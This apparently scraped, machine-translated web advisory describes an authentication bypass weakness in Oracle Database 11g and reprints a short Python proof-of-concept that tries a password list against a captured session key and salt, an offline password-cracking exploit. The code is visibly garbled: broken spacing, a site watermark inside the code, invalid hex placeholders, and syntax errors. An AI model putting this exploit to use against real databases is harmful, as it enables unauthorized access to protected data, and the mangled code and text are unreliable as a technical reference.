Latest Oracle Database Verification Protocol Security Bypass Vulnerability

Oracle Database is found to easily cause remote security bypass and affect its authentication protocol. Attackers can exploit this vulnerability to bypass database authentication to gain unauthorized access to the database. Affected Versions: Oracle Database 11g Release 1 and 11g Release 2 use the following code: #-*-coding: utf8-*-import hashlib from Crypto. cipher import AES def decrypt (session, salt, password): pass_hash = hashlib. sha1 (password + salt )#............................... 24 .... key = pass_hash.digest () + '\ x00 \ x00 \ x00 \ x00' decryptor = AES. new (key, AES. MODE_CBC) plain = decryptor. decrypt (session) return plain #.............................. 48 .... session_hex = 'hangzhou '#.... 10 .... www.2cto.com salt_hex = 'a7193e546377ec56639e 'passwords = ['test', 'Password', 'oracle', 'Demo'] for password in passwords: session_id = decrypt (session_hex.decode ('hex'), salt_hex.decode ('hex'), password) print 'crypted session_id for password "% s" is % s' % (password, session_id.encode ('hex') if session_id [40:] = '\ x08 \ x08 \ x08 \ x08 \ x08 \ x08 \ x08 \ x08 ': print 'password IS "% s" '% PASSWORD break source: http://www.securityfocus.com/bid/55651/discuss